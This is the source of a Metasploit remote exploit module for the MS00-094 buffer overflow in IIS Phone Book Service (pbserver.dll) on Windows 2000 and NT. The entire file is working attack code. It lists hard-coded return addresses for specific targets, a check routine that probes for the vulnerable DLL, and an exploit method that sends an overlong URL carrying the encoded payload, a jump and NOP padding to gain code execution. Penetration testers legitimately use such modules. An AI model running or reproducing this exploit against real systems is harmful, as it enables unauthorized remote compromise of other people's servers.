##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
        'Description' => %q{
          This is an exploit for the Phone Book Service /pbserver/pbserver.dll
          described in MS00-094. By sending an overly long URL argument
          for phone book updates, it is possible to overwrite the stack. This
          module has only been tested against Windows 2000 SP1.
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2000-1089' ],
          [ 'OSVDB', '463' ],
          [ 'BID', '2048' ],
          [ 'MSB', 'MS00-094' ],
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 896,
          'BadChars' => "\x00\x0a\x0d\x20%&=?",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
          ['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
          ['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
        ],
        'DisclosureDate' => '2000-12-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
      ]
    )
  end

  def check
    print_status("Requesting the vulnerable ISAPI path...")
    res = send_request_raw({
      'uri' => normalize_uri(datastore['URL'])
    }, 5)

    if (res and res.code == 400)
      return Exploit::CheckCode::Detected('Phone Book Server ISAPI extension detected')
    end

    return Exploit::CheckCode::Safe('Phone Book Server ISAPI extension not detected')
  end

  def exploit
    print_status("Sending overflow...")

    res = send_request_raw({
      'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
    }, 5)

    handler
  end
end
